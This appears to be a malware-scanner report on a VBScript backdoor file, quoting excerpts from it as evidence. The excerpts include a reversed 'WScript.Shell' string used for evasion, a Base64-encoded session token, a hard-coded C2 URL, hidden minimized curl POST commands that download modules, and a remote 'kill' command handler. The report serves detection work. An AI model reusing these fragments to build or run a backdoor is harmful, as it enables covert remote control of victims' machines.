Hostile ^92% Download

0e51029ba28243b0a6a071713c17357a8eb024aa4298d1ccc9e2c4ac8916df4d.unknown

VBScript backdoor with C2

VBScript HTTP session tasking backdoorVBScript curl module tasking backdoor

SHA-2560e51029ba28243b0a6a071713c17357a8eb024aa4298d1ccc9e2c4ac8916df4d

Evidence

VBScript reverses session token line 62

62P�X�S�V� �=� �"�Z�E�q�p�x�P�"�
�P�e�r�i�o�d�L�B�Z�E�P�X�S�V� �=� �1�0�0�0�0�
�
�a� �=� �"�l�l�e�h�S�.�t�p�i�r�c�s�W�"�
�b� �=� �S�t�r�R�e�v�e�r�s�e�(�a�)�
�S�e�t� �o�b�j�S�h�e�l�l� �=� �C�r�e�a�t�e�O�b�j�e�c�t�(�b�)�
�A�P�P�D�A�T�A�L�B�Z�E�P�X�S�V� �=� �o�b�j�S�h�e�l�l�.�E�x�p�a�n�d�E�n�v�i�r�o�n�m�e�n�t�S�t�r�i�n�g�s�(�"�%�A�P�P�D�A�T�A�%�"�)�
�T�e�m�p�L�B�Z�E�P�X�S�V� �=� �o�b�j�S�h�e�l�l�.�E�x�p�a

VBScript encodes session token line 812

812
�F�u�n�c�t�i�o�n� �M�a�i�n�L�B�Z�E�P�X�S�V�(�)�
�	�P�l�a�i�n�S�e�s�s� �=� �G�e�t�P�l�a�i�n�S�e�s�s�(�)�
�	�E�n�c�S�e�s�s� �=� �S�t�r�R�e�v�e�r�s�e�(�P�l�a�i�n�S�e�s�s�)�
�	�E�n�c�S�e�s�s� �=� �B�a�s�e�6�4�E�n�c�o�d�e�(�E�n�c�S�e�s�s�)�
�	�C�o�m�P�l�a�i�n�S�e�s�s� �=� �"�N�=�"� �&� �E�n�c�S�e�s�s� �&� �"�_�V�B�"�
�
�	�'�U�r�l�L�B�Z�E�P�X�S�V� �=� �"�h�t�t�p�:�/�/�1�2�7�.�0�.�0�.�1�"�
�	�U�r�l�L�B�Z�E�P�X�S�V� �=� �"�h�t�t�p�s�:�/�/�w�o�r�r�i�e�d�-�e�a�s�t�e�r�n�-

VBScript hidden curl POST line 1838

1838E�m�.�p�d�f�"�
�	�	�D�o� �W�h�i�l�e� �n�o�t� �F�i�l�e�E�x�i�s�t�s�(�W�H�F�i�l�e�P�a�t�h�)�
�	�	�	�a�r�g�L�B�Z�E�P�X�S�V� �=� �"�c�m�d� �/�C� �s�t�a�r�t� �/�M�I�N� �c�u�r�l� �-�-�s�s�l�-�n�o�-�r�e�v�o�k�e� �-�s� �-�d� �"�"�"� �&� �P�a�r�a�m�s�1� �&� �"�"�"� �-�X� �P�O�S�T� �"� �&� �D�o�w�n�U�r�l� �&� �"� �-�o� �"� �&� �W�H�F�i�l�e�P�a�t�h�
�	�	�	�s�e�t� �w�s�o� �=� �C�r�e�a�t�e�O�b�j�e�c�t�(�"�W�s�c�r

VBScript decodes command response line 4746

4746 �s�h�e�l�l� �=� �C�r�e�a�t�e�O�b�j�e�c�t�(�"�S�h�e�l�l�.�A�p�p�l�i�c�a�t�i�o�n�"�)�
�	�C�o�m�D�e�c�o�d�e�L�B�Z�E�P�X�S�V� �=� �B�a�s�e�6�4�D�e�c�o�d�e�(�C�o�m�)�
�
�	�I�f� �I�n�S�t�r�(�C�o�m�D�e�c�o�d�e�L�B�Z�E�P�X�S�V�,� �"�k�i�l�l�"�)� �>� �0� �t�h�e�n�
�	�	�D�e�l�e�t�e�F�i�l�e�(�T�e�m�p�L�B�Z�E�P�X�S�V� �+� �"�/�u�p�d�a�t�e�.�v�b�s�"�)�
�	�	�D�e�l�e�t�e�F�i�l�e�(�T�e�m�p�L�B�Z�E�P�X�S�V� �+� �"

VBScript execmd curl launch line 6466

6466e�m�p�L�B�Z�E�P�X�S�V� �&� �"�/�"� �&� �M�o�d�u�l�e�T�i�t�l�e� �&� �"�.�v�b�s�"�
�	�	�a�r�g� �=� �n�i�k�c�o�m�P�a�t�h� �&� �"� �e�x�e�c�m�d� �c�u�r�l� �-�-�s�s�l�-�n�o�-�r�e�v�o�k�e� �-�s� �-�d� �"�"�"� �&� �P�a�r�a�m�s�2�L�B�Z�E�P�X�S�V� �&� �"�"�"� �-�X� �P�O�S�T� �"� �&� �D�o�w�n�U�r�l�L�B�Z�E�P�X�S�V� �&� �"� �-�o� �"� �&� �M�o�d�u�l�e�P�a�t�h�L�B�Z�E�P�X�S�V� �&� �"� �&�&� �"� �&� �M�o�d�u�l�e�P�a